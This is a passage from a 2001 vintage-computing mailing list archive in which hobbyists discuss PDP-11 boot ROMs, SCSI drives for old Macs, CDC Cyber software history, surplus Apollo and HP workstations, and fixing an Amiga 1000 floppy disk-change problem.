rare; in fact I can't think of a single one that does. > Is this saying that DEC controllers will force moving the ROM > out to the bus term card as a seperate FRU? And is it really > always controller card resident for the 3rd partiers? Not necessarily or even usually on a bus terminator card. On the 11/24, 11/23+ and later Qbus processors (11/73+, 11/83, //53, 11/93), the ROMs are on the processor card. For many Unibus machines, and the Qbus processors that didn't weren't integrated with SLU, LTC, etc, it was often on a separate ROM card or a multifunction (SLU/LTC/RAM/ROM: MXV11-A or MXV11-B) card. The BDV11 used in 11/03 ansd 11/23 systems was unusual in being a combined terminator/clock/bootstrap card (like a TEV11 or REV11 with extras). -- Pete Peter Turnbull Network Manager University of York From pete at dunnington.u-net.com Fri Jun 1 14:47:47 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:08 2005 Subject: booting from RQDX3 In-Reply-To: "Jonathan Engdahl" "Re: booting from RQDX3" (Jun 1, 14:45) References: <00a401c0e9ce$f8f1b9e0$1e4099a1@rcs.ra.rockwell.com> <3B1693BD.34DAE14@idirect.com> <5.0.0.25.2.20010601063239.03065740@208.226.86.10> <013d01c0eabc$b19ecee0$8a0101ac@ibm23xhr06> <3B17D38A.F08EA05E@mcmanis.com> <037f01c0eacb$0d00f0c0$1e4099a1@rcs.ra.rockwell.com> Message-ID: <10106012047.ZM11425@indy.dunnington.u-net.com> On Jun 1, 14:45, Jonathan Engdahl wrote: > Putting a ROM on the disk controller at 173000 is the usual way > of doing it, but here's a slick alternative that is used on the > DSD 4140 floppy controller: > > There is no ROM onboard other than the microcode for the AMD > 2901 (one 4-bit slice!), but there is a single register mapped > onto the Qbus at 173000. If the PDP-11 jumps there, the > controller gives back a jump-to-self opcode. I've seen (indeed, own) another card that does that. I think it might be one of my Dilog cards, but it could be the GR RXV21. -- Pete Peter Turnbull Network Manager University of York From chomko at greenbelt.com Fri Jun 1 14:57:50 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:08 2005 Subject: HTML source code?? (was: Call for Resources for CDC 6000/Cyber 70Series Emulator References: Message-ID: <3B17F3BD.65196D85@greenbelt.com> "Fred Cisin (XenoSoft)" wrote: > > -- Derek (hoping for watchpoints or formatted display of > > the source code -- i.e., with italics or proportional spacing) > > Certain styling of formatted source code could be really nice. > > But IMAGINE the abuses! It could be as bad as the introduction of HTML to > e-mail. > > Italics, bold-face, even different sizes of fonts could be useful. > BUT, ... it was well more than 20 years ago (in computer magazines), that > people found out what a DISASTER proportional spacing is for source code. > ("How many spaces do there need to be there?" > Am I the only one here who is old enough to remember how bad that was? > No Fred. Nothing worse than looking at your assembly source code with the labels, op codes, operands and comments DIDN'T line up nicely. I learned to used 'courier' font in a hurry! Eric > > -- > Grumpy Ol' Fred cisin@xenosoft.com From mikeford at socal.rr.com Fri Jun 1 14:17:46 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:08 2005 Subject: SCSI or Voodoo? In-Reply-To: Message-ID: > ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N > Narrow 50-pin > > > > >Assuming the jumpers are set correctly, should this work internally in a >Quadra 700? It should, but I don't have a lot of confidence in old Seagate drives. BTW I even have a "real official" Micronet I think brand, drive carrier for a IIci/Q700 etc that holds a 5.25 half height drive. From mikeford at socal.rr.com Fri Jun 1 14:12:45 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:08 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator In-Reply-To: <4.3.2.7.0.20010601081856.01eb0440@pc> References: <7A9BACCEF0171D4FB77019F5104CDD37151081@jeffserver.tegjeff. com> Message-ID: >>It *did* auto-format the code... but as these were the earliest >>examples of what I think was incremental compiler technology, >>you'd be typing the source text, and when you committed a syntax >>error, the offending element was highlighted by a dashed-lined >>circle, and further entry stopped until you corrected your >>mistake. > >This sounds like the Cornell Program Synthesizer developed >by long-time Cornell professor Tim Teitelbaum. It was used to >teach Pascal to tens of thousands of students at several large >universities in the early 80s, on Teraks and perhaps other >computers. I think he gets the credit for developing the >first practical language-sensitive editor, the progenitor >of most IDEs out there today. Back in the early days of Apple II, my friend Randy Hyde wrote LISA, the Laser Interactive Symbolic Assembler. Syntax was checked by the editor when you hit return at the end of each line, and errors were immediately flagged, or if all correct the line of code was tokenized with effectively the first pass of the assembly process. Since all accepted lines were tokenized, it was easy to also make the display formatted to anything you wanted. Its still one of the best, fastest IDE's I've worked with, albeit it only made 6502 and its variations of code, and ran AFAIK only on Apple II and variants, last on the IIgs. From mikeford at socal.rr.com Fri Jun 1 14:29:35 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:08 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s out there? In-Reply-To: <5.0.2.1.0.20010601104704.02041e80@pop.bol.ucla.edu> References: <036501c0ea10$8e477d40$1e4099a1@rcs.ra.rockwell.com> Message-ID: >Does anyone have any Tektronix 4051, 5042, 4054, or 4662s cluttering up >their garage or storerooms? >If so, I'd be interested in hearing from you. >Please reply off line. Try the monthly hamfest at TRW, last Saturday of the month, exit 405 fwy west on Rosecrans, south on Aviation, followed the nerds going into the north parking lots of TRW on the East side of Aviation and Marine. Starts about 7:30, last sale at 11:30. From dhquebbeman at theestopinalgroup.com Fri Jun 1 14:27:17 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:08 2005 Subject: Call for Resources for CDC 6000/Cyber 70 Series Emulator Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715108C@jeffserver.tegjeff.com> > The cool games mainly came out of Minnesota, especially from the state > high school cyber mainframe (MECC, Minnesota Educational Computer Consortium). > Empire, Sceptre of Goth, many combat games, etc, etc. On the University > cybers, we had Karnath, and other similar multi-user mazes of monsters. > And of course if you could wrangle access to the real CDC systems downtown > at the corporate headquarters, you could play Avatar. My first exposure to MECC was post-college; MECC had converted a huge base of BASIC programs to run on one of those Wang suitcase-portable BASIC systems; I had to convert the programs to run under Primos' BASIC/VM. > The university wrote some really nice compilers. MNF (Minnesota Fortran) > and a really nice Pascal compiler, both with Post-Mortem Dump facilties > that made debugging code very easy. When the program aborted, it would > print a table explaining what function/subroutine name it aborted on, > what line number, and a printout of variable names and values. If i recall, > it would also print the source code line as well. The Pascal came with a > very extensive set of library routines, I even convinced em to add some > functions to allow me to properly manipulate direct-access files for > a communication system I wrote for a game i never completed, though it > was later added to someone elses game. Yeah, MNF was pretty cool, I wish I still had my manual! However, I didn't know they spun a Pascal compiler; strange, I was a PUG Charter member... Regards, -doug q From spectre at stockholm.ptloma.edu Fri Jun 1 15:27:38 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:08 2005 Subject: SCSI or Voodoo? In-Reply-To: from "CARL.P.HIRSCH@sargentlundy.com" at "Jun 1, 1 10:11:15 am" Message-ID: <200106012027.NAA10718@stockholm.ptloma.edu> > ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N > Narrow 50-pin > Assuming the jumpers are set correctly, should this work internally in a > Quadra 700? Having had personal experience with this drive ... Yes, the ST15150N will work fine in a Q700. However, it's a half-height drive. In my Power Mac 7300, the drive overheated within weeks and suffered a complete head crash. Since a Q700's case is the same dimensions as a Mac IIci, there's not a lot of clearance or ventilation space for this thing and it runs *very* hot. If you want to use this drive -- and mind you it's very fast, despite the heat issues -- you will almost certainly want to add another fan or run the machine with the top off, or it will fry. I would strongly advise finding a third-height drive like an Atlas II. These are fast 50-pin drives (I replaced my Seagate ST15150 with an Atlas II in that PM7300) and they don't have considerably better heat tolerance because they're smaller and have more room to radiate it. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Schizophrenia beats being lonely. ------------------------------------------ From dhquebbeman at theestopinalgroup.com Fri Jun 1 15:34:43 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:08 2005 Subject: Anyone ever seen a TRAN M3000? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151091@jeffserver.tegjeff.com> The computer mentioned in the subject may in fact be familiar to some of you (Sellam, notably...). It was a rebadged Computer Automation Alpha-16, with special software that provided for its use as a digital network switch. TRAN was also known as Computer Transmission Corp. of El Segundo, CA. Does anyone know what became of the company? In a few weeks, I'll put a diagram of the Indiana University Computing Network cira 1974 up on my web site so you can see the role it played. You'll need a WHIP! viewer (from Autodesk's web site) to view it. Regards, -dq From spectre at stockholm.ptloma.edu Fri Jun 1 15:53:51 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:08 2005 Subject: oops Message-ID: <200106012053.NAA09564@stockholm.ptloma.edu> I mean, the Atlas II *does* have good heat tolerance because it's smaller! :-) Brain fart again. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Know what I hate most? Rhetorical questions. -- Henry N. Camp ------------- From ethan_dicks at yahoo.com Fri Jun 1 16:01:48 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:08 2005 Subject: Seeking NeXT slab disk bracket Message-ID: <20010601210148.78825.qmail@web9504.mail.yahoo.com> OK... so I have this NeXT slab (25 Mhz '040), I have some 30-pin SIMMs, and I have a 4Gb SCSI drive. I even have software. What I don't have is a bracket for the internal hard drive. Someone brought one to lunch today, and it appears to have a couple of feet that clip on to the edge of the case, and one screw hole on the other side. Is there a place I can get a proper drive bracket? I suppose I can make my own, but I'm not sure it will stay put on the non-screwed-in end. Thanks, -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From jhellige at earthlink.net Fri Jun 1 16:03:18 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:08 2005 Subject: Anyone ever seen a TRAN M3000? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151091@jeffserver.tegjeff.com> References: <7A9BACCEF0171D4FB77019F5104CDD37151091@jeffserver.tegjeff.com> Message-ID: >In a few weeks, I'll put a diagram of the Indiana >University Computing Network cira 1974 up on my web >site so you can see the role it played. You'll need >a WHIP! viewer (from Autodesk's web site) to view it. If the diagram is of that vintage and not going to be changed, why post it in Autocad format where it needs a special plug-in to view it? Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From Demon02554 at aol.com Fri Jun 1 16:21:10 2001 From: Demon02554 at aol.com (Demon02554@aol.com) Date: Sun Feb 27 19:04:08 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s outthere? Message-ID: <93.b5ca8da.28496147@aol.com> Roanoake, eh? how big and how much private email please Robert Cobbins From CARL.P.HIRSCH at sargentlundy.com Fri Jun 1 16:14:29 2001 From: CARL.P.HIRSCH at sargentlundy.com (CARL.P.HIRSCH@sargentlundy.com) Date: Sun Feb 27 19:04:08 2005 Subject: Seeking NeXT slab disk bracket Message-ID: Black Hole Inc has them for $5. http://www.blackholeinc.com/specials/blackhardware.shtml -carl Ethan Dicks cc: Sent by: Subject: Seeking NeXT slab disk bracket owner-classiccmp@clas siccmp.org 06/01/01 04:01 PM Please respond to classiccmp OK... so I have this NeXT slab (25 Mhz '040), I have some 30-pin SIMMs, and I have a 4Gb SCSI drive. I even have software. What I don't have is a bracket for the internal hard drive. Someone brought one to lunch today, and it appears to have a couple of feet that clip on to the edge of the case, and one screw hole on the other side. Is there a place I can get a proper drive bracket? I suppose I can make my own, but I'm not sure it will stay put on the non-screwed-in end. Thanks, -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From jpero at sympatico.ca Fri Jun 1 12:32:35 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:08 2005 Subject: SCSI or Voodoo? In-Reply-To: References: Message-ID: <20010601213021.XDGR25498.tomts13-srv.bellnexxia.net@duron> > > BTW I even have a "real official" Micronet I think brand, drive carrier for > a IIci/Q700 etc that holds a 5.25 half height drive. Altas II as one suggested is still bit hot running HD than most modern HDs. Btw it is 5 years old HD era. Find a way to have small fan blowing along the bottom where logic board is. Best choices is newer last generation 5400rpm SCSI drives with dense per platter w/ large buffer size. Or much newer 2 or 3 years old 7200rpm SCSI drive usually are better specs and is cooler. Actually Fireball ST SCSI is best choice for this IIci. It will max out the IIci's scsi throughput. BTW: Ford, I'm very interested how Micronet designed this unique carrier to fit huge 5.25" HH drive in a little IIci. Describe how, photos of on it's own and installed in that IIci would be helpful. Web or by email attachment. This is part of this interest because I'm expecting IIci in the mail in about two weeks with other parts. Cheers, Wizard From allain at panix.com Fri Jun 1 16:23:35 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:09 2005 Subject: SCSI or Voodoo? References: Message-ID: <000301c0eae3$1e8ce5c0$8a0101ac@ibm23xhr06> Hey I have a Mac quadra800 on the east coast if someone wants to take it away. It is a discard system still booting up nicely with a log-in lock on the disk. Either help me get it running (reinit disk?) or you can just have it. John A. (think its a 1992'er, apologies ) From vance at ikickass.org Fri Jun 1 16:52:40 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:09 2005 Subject: SCSI or Voodoo? In-Reply-To: Message-ID: It's a nice drive, and it should work with your machine, but it has nonstandard mounting holes. Peace... Sridhar On Fri, 1 Jun 2001 CARL.P.HIRSCH@sargentlundy.com wrote: > Well, since the Mac Quadra 700 is of 91 vintage, it looks like I can ask > questions about it... > > I found this on teamexcess.com - > > ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N > Narrow 50-pin > > > > > Assuming the jumpers are set correctly, should this work internally in a > Quadra 700? > > thanks, > -carl hirsch > From jpero at sympatico.ca Fri Jun 1 12:57:47 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:09 2005 Subject: SCSI or Voodoo? In-Reply-To: <000301c0eae3$1e8ce5c0$8a0101ac@ibm23xhr06> Message-ID: <20010601215533.LXSW16174.tomts7-srv.bellnexxia.net@duron> From: "John Allain" To: Subject: Re: SCSI or Voodoo? Date: Fri, 1 Jun 2001 17:23:35 -0400 Reply-to: classiccmp@classiccmp.org Hey I have a Mac quadra800 on the east coast if someone wants to take it away. It is a discard system still booting up nicely with a log-in lock on the disk. Either help me get it running (reinit disk?) or you can just have it. John, Nice Q800 find! Is someone have claimed it yet? I would like it for shipping if you wish to let it go. Yes, you can reinit the HD w/ downloadable HD SC formatter 7.3.5 on a bootable disk. It comes on a 1.44MB image, you can use rawrite (from linux sites download areas.) OS 7.5.3 and updater to update that to 7.5.5 is free to download but requires a way (bit tedious and somewhat hard way) to get them onto Mac if you only have a PC. About 19 images plus 3 images. Whew. Cheers, Wizard John A. (think its a 1992'er, apologies ) From jpero at sympatico.ca Fri Jun 1 13:01:47 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:09 2005 Subject: Ping Sridhar In-Reply-To: References: Message-ID: <20010601215933.DHRJ27183.tomts5-srv.bellnexxia.net@duron> > Peace... Sridhar Sridhar, I'm waiting for your replies on the deal we're working on. Still have parts. I think your email might had broke. Cheers, Wizard From gessler at ucla.edu Fri Jun 1 17:15:20 2001 From: gessler at ucla.edu (Nick Gessler) Date: Sun Feb 27 19:04:09 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s out there? In-Reply-To: References: <5.0.2.1.0.20010601104704.02041e80@pop.bol.ucla.edu> <036501c0ea10$8e477d40$1e4099a1@rcs.ra.rockwell.com> Message-ID: <5.0.2.1.0.20010601151155.0234aec0@pop.bol.ucla.edu> I'm at TRW every last Saturday. Haven't seen any of the above there for years! For those who don't know, these Tek, IBM and the Wang were the first professional desktop computers. They came out just after the Imsai and Altair. I've forgotten what the Wang looked like, but similar to the Tek I think. I've got the Tek and IBM but I need some parts so I can get them going. They were all one piece: keyboard, CRT (big for Tek, tiny for IBM), and tape cartridge. Nick They were all one piece:At 12:29 PM 6/1/01 -0700, you wrote: > >Does anyone have any Tektronix 4051, 5042, 4054, or 4662s cluttering up > >their garage or storerooms? > >If so, I'd be interested in hearing from you. > >Please reply off line. > >Try the monthly hamfest at TRW, last Saturday of the month, exit 405 fwy >west on Rosecrans, south on Aviation, followed the nerds going into the >north parking lots of TRW on the East side of Aviation and Marine. Starts >about 7:30, last sale at 11:30. From mikeford at socal.rr.com Fri Jun 1 17:16:41 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:09 2005 Subject: Apollo 735/50 in SoCal In-Reply-To: <3.0.2.32.20010601080708.00f9e420@obregon.multi.net.co> References: <3B16850D.6D7ACAE3@tiac.net> <527.550T1050T294239optimus@canit.se> <3B1462EE.587A482@tiac.net> <001901c0e857$b46cc580$21fe54a6@ibm23xhr06> Message-ID: >At 12:09 AM 6/1/01 -0700, you wrote: >>UC Irvine surplus just had a big batch of Apollo computers show up, nasty >>feeding frenzy on the HP 4033A monitors, > > ^^^^^^^^^ nice. I have one, I was VERY close to being "impolite" as the 4 pigs that got to the place first had each made a horde of the various items, including one guy with 4 of the 4033A monitors. I made the suggestion that if just one of them couldn't be shared to me, maybe I would just make a cash offer for one to the guy running the scrap yard. I choose to live, but it really annoyed me that these guys not only hogged them all, but duped the scrap guy into thinking they weren't very valuable. >> but a few 735/50's are left as well as HP 2094 monitors. >The A2094 are nice too, but fixed freq. and heavy; they >have trinitron tubes. > >However, I think that what you are describing as "HP735/50" >are actually "715/50"; the 735 came in 99 and 125MHz varieties >only. Still, the 715's are ok. OK, I'll split the difference with you, HP 725/50 PA-Risc machines. I bought four of them, and may pick through parts on a few more next Tuesday when I pick them up (ran out of time the other day). I booted a couple of them up, including a 715/33 and they were running HP-UX version 3.08 I think. They all had passwords etc., but I have the CD set, so I should be able to just reinstall etc. From mikeford at socal.rr.com Fri Jun 1 17:08:03 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:09 2005 Subject: SCSI or Voodoo? In-Reply-To: <20010601213021.XDGR25498.tomts13-srv.bellnexxia.net@duron> References: Message-ID: >> BTW I even have a "real official" Micronet I think brand, drive carrier for >> a IIci/Q700 etc that holds a 5.25 half height drive. >BTW: Ford, I'm very interested how Micronet designed this unique >carrier to fit huge 5.25" HH drive in a little IIci. Describe how, >photos of on it's own and installed in that IIci would be helpful. >Web or by email attachment. The top section the hard drive goes in is rotated 90 degrees, and has a slight downward tilt, otherwise its the same size as the normal plastic carrier for a HD and floppy. Once I am a bit less picture challenged I will put up an image and post a link. From allain at panix.com Fri Jun 1 17:53:20 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:09 2005 Subject: Ping Sridhar References: <20010601215933.DHRJ27183.tomts5-srv.bellnexxia.net@duron> Message-ID: <018701c0eaed$a7e18f60$8a0101ac@ibm23xhr06> I replied to you at 6:21 repeat the ping if you don't see it in 0:30 or so. From geoffr at zipcon.net Fri Jun 1 19:03:20 2001 From: geoffr at zipcon.net (Geoff Reed) Date: Sun Feb 27 19:04:09 2005 Subject: SCSI or Voodoo? In-Reply-To: Message-ID: <5.1.0.14.2.20010601170241.02d740c0@mail.zipcon.net> it'll work just peachy :) you'll need to use FWB or another 3rd party HD toolkit, apple's HD formatter won't work with that drive. At 10:11 AM 6/1/01 -0500, you wrote: >Well, since the Mac Quadra 700 is of 91 vintage, it looks like I can ask >questions about it... > >I found this on teamexcess.com - > > ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N > Narrow 50-pin > > > > >Assuming the jumpers are set correctly, should this work internally in a >Quadra 700? > >thanks, >-carl hirsch From KenzieM at sympatico.ca Fri Jun 1 19:26:10 2001 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:04:09 2005 Subject: IBM 6109 personal typer? Message-ID: <000b01c0eafa$a105f660$0101a8c0@sympatico.ca> I saw a machine this evening that looked like a PS/2. It had 2 3.5# floppies on the front, but there were no ports on the back. The keyboard cable was coming out of an opening in the side and the monitor cable was attached internally. There appeared to be a lock on the side that may have given access to the inside. It seemed like the keyboard had been unplugged. Does anyone know anything about these machines? The keyboard was missing from the end of the cable, but it had one of the connectors found on the older original IBM keyboards. From jpero at sympatico.ca Fri Jun 1 15:30:37 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:09 2005 Subject: SCSI or Voodoo? In-Reply-To: <5.1.0.14.2.20010601170241.02d740c0@mail.zipcon.net> References: Message-ID: <20010602002824.NCOC16174.tomts7-srv.bellnexxia.net@duron> > Date: Fri, 01 Jun 2001 17:03:20 -0700 > To: classiccmp@classiccmp.org > From: Geoff Reed > Subject: Re: SCSI or Voodoo? > Reply-to: classiccmp@classiccmp.org > it'll work just peachy :) > > you'll need to use FWB or another 3rd party HD toolkit, apple's HD > formatter won't work with that drive. > *snorts!* In this case one must buy expensive drive init/mounter utility program. Not worth it on small scale few runs especially with aucient stuff. But very useful for using optical drives and cdrom drives. Yet, there is a "free" solution but you must do it yourself because apple doesn't allow anyone to download hacked HD SC formatter program. Begin searching for the HD SC 7.3.5 formatter patch info, it will detail how to manually patch it with free editor also from apple too. The mod is only a hex and easy to find to mod on. Both unmodified formatter and the editor is available from apple download section, easier to find them by engine search. With my patched formatter, can init any SCSI HDs including my elite 1 and fireball ST 3.2 GB and many, many different non-apple scsi drives. Cheers, Wizard From jhellige at earthlink.net Fri Jun 1 19:33:10 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:09 2005 Subject: SCSI or Voodoo? In-Reply-To: <5.1.0.14.2.20010601170241.02d740c0@mail.zipcon.net> References: <5.1.0.14.2.20010601170241.02d740c0@mail.zipcon.net> Message-ID: >you'll need to use FWB or another 3rd party HD toolkit, apple's HD >formatter won't work with that drive. That single thing, more than anything else, turned me off of Mac's for a number of years. There's absolutely no reason, other than greed, that Apple's hard disk utilities shouldn't be able to deal with pretty much any drive you toss at it. Afterall, look how flexible the Amiga's disk tools are. Thankfully, this particular problem with non-Apple hard disks has been cured and Apple ships disk tools that are capable of dealing with most any IDE drive, though there are still problems with SCSI drives since the new systems don't ship with SCSI. I myself use FWB Hard Disk Toolkit for any SCSI disk with any of my Mac's. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From optimus at canit.se Fri Jun 1 18:50:32 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:09 2005 Subject: HTML source code?? (was: Call for Resources for CDC In-Reply-To: Message-ID: <1045.553T1600T504813optimus@canit.se> XenoSoft skrev: >OB_CC_Trivia: 1) Was the font of the IBM PC with or without serifs? (90% >answer incorrectly) I don't know, but I've never liked the look of the "PC" font. In particular, I find the A very irritating. It begins with straight vertical lines, then suddenly comes a pyramid. Very ugly. The Amiga "Topaz" system font had serifs in OS 1.x, whereas 2.x and upwards was sans serif and similarly, the A had evolved from an A with straight slanted lines into a rounded variation of the IBM theme. >2) What was the primary complaint (other than not being enabled) about >the lower case in the original models of the TRS-80? The TRS-80 never was a success around here. The only Tandy computer which I've ever seen in person was that flat, portable thing, rebadged by the telemonopoly. -- En ligne avec Thor 2.6a. IRAQ, 10984 GHz, V Getting TV from Iraq at all is kinda cool - you can get propaganda in English at 1900 BST, and see the guy with the moustache almost any time. When they show anime it's even cooler... Geoff Cowie From optimus at canit.se Fri Jun 1 19:20:38 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:09 2005 Subject: Altair 8800 front panel lamps In-Reply-To: Message-ID: <1022.553T1900T806045optimus@canit.se> Sellam Ismail skrev: >On 1 Jun 2001, Iggy Drougge wrote: >> Actually, I'd wholeheartedly recommend that book. It's really >> interesting and written in a compelling way. It doesn't really shy >> away from computer terms as popular books often might. >Iggy, why am I not surprised you would like this book? I don't know, because you hold me in particularly low esteem? >Really, it's a poorly researched book. If you want to read good fiction, >get a copy of Huckleberry Finn. If you want a good book on computer >history with factual information, there are plenty of others to choose >from. >I recommend: >Fire in the Valley (Freiberger/Swaine) >Hackers (Levy) >The Naked Computer (Rochester/Gantz) But are they fun? After all, that's what counts. ;-) -- En ligne avec Thor 2.6a. About 15 years ago(in 1984), I played many time HYDLIDE like monkey's self- acting! HaHaHa!! Here in Nippon(Japan), many many MSX Freak played HYDLIDE 1/2/3 on MSX1/2. Perhaps, also you like HYDLIDE series!!! K. Ikeda, MSX-Print From optimus at canit.se Fri Jun 1 21:03:57 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:09 2005 Subject: SCSI or Voodoo? In-Reply-To: <20010602002824.NCOC16174.tomts7-srv.bellnexxia.net@duron> Message-ID: <960.553T2850T1836747optimus@canit.se> jpero skrev: >> Date: Fri, 01 Jun 2001 17:03:20 -0700 >> To: classiccmp@classiccmp.org >> From: Geoff Reed >> Subject: Re: SCSI or Voodoo? >> Reply-to: classiccmp@classiccmp.org Don't you just love the way some stupid mailers find it fitting to quote almost an entire header? >> it'll work just peachy :) >> >> you'll need to use FWB or another 3rd party HD toolkit, apple's HD >> formatter won't work with that drive. >*snorts!* >In this case one must buy expensive drive init/mounter utility >program. Not worth it on small scale few runs especially with >aucient stuff. But very useful for using optical drives and cdrom >drives. There are free tools available for download which don't need patching. One utility which I've got stuffed away on my hard drive is Micronet SCSI. ftp://ftp.micronet.com/pub/mac/mnu727.hqx -- En ligne avec Thor 2.6a. Age is a high price to pay for maturity. From engdahl at cle.ab.com Fri Jun 1 20:57:34 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:04:09 2005 Subject: Amiga 1000 "disk change" stuck? Message-ID: <001901c0eb07$651ef540$36809782@rcs.ra.rockwell.com> I told David Betz I would send him a fast Lisp interpreter I wrote in Amiga assembler about 15 years ago. Now I have to get my Amiga working -- a worthwhile interruption to my PDP-11 restoration. This is an original rev 1.0 Amiga 1000 with one floppy drive, expanded chip RAM, 2 megs in a StarBoard on the side, and nothing else. It's the first computer I ever bought rather than built from scrap. It cost about $1000 in the days when an IBM AT with EGA, 1 meg RAM, and 30 meg hard drive cost several thousands, and 1.0 VAX-MIPs meant something. All the original pieces and manuals are still there and intact except for the monitor which died years ago. I'm using a small B&W NTSC monitor until I get a VGA adapter cable built. First, I tore it apart and cleaned out the dust. Pulling the cooling air in through the floppy drive was a brilliant concept. That way the cheap and replaceable floppy drive doubles as an air filter. There was very little dust elsewhere. After trying 5 Kickstart disks, I found one that would still read. I can boot the Lisp development disk, and, with plenty of patience and retries, it loads itself into the RAMdisk. So, in theory, the Lisp interpreter sources are recoverable (I also have it on 3 backup disks). The floppy drive, or something related, has a problem however. The computer cannot see when I remove a disk, therefore, it never refreshes the cache when I change disks. It never realizes that the disk has been changed. So I have the Lisp sources on one disk that will boot successfully, Kermit and CrossDOS on another good disk, but whichever one I boot, I cannot read the other. It will take a while to remember/relearn how to run an Amiga. The reed relay actuated by the floppy drive eject button is working, and there is continuity to a large chip on the drive. I'm guessing the computer is looking for "disk change" (pin 34 on the interface), which is probably triggered by the reed relay. I tried an IBM-PC floppy drive -- it boots from that drive, but still doesn't see the disk change. I tried a different ribbon cable. There is continuity from pin 34 on the mainboard floppy connector to a pin on what looks like it might be a PIO chip. There are two of these 40 pin DIPs in sockets next to the 68000. I exchanged the two chips -- that made no difference. I examined pin 34 with a voltmeter, with the ribbon cable disconnected but power applied to the drive. It doesn't wiggle when I insert and eject a floppy. But testing this with the cable disconnected might not be a valid test. It might be strobed by "drive select". With everything hooked up, I don't see a significant voltmeter wiggle on the PIO pin -- again, it might be "drive select" enabled, or polled with a very low duty cycle, so that test might not mean anything. Now that I think of it, I seem to recall that the pin was low. That sounds suspcious. I would expect if it was strobed, it would be a low-true open collector. I need to go back and look at that again. Questions: Is there some software way to force the computer to flush the disk cache and take a fresh look at a disk? Is an IBM-PC 1.44 meg floppy drive an adequate replacement for the original 800K internal drive, at least for reading? I downloaded a bunch of floppy related "hacks" from an archive (Aminet?), but I haven't had time to parse them all yet, plus I can't see the IFF formatted diagrams from a PC. Bear in mind that I have only one drive, so drive select logic might not be needed. What is the mechanism/algorithm used to detect drive change? What could have gone wrong? If I get desperate enough, I'll cut pin 34 on the ribbon cable and run it to a pushbutton dangling outside the case (assuming that pin 34 is the missing signal). -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl From Lee.Davison at merlincommunications.com Fri Jun 1 21:22:03 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:04:09 2005 Subject: Amiga 1000 "disk change" stuck? Message-ID: <707AA588EE28D311BCD50090276D7D0007A296@BUSH02> Hi Jonathan, The computer cannot see when I remove a disk, therefore, it never refreshes the cache when I change disks. It never realizes that the disk has been changed. So I have the Lisp sources on If your aim is to, for now, just recover the disks open a shell (cli) window and type diskchange df0: That forces a cache update from the media. If diskchange isn't resident on your A1000 copy it to RAM: first Cheers, Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. 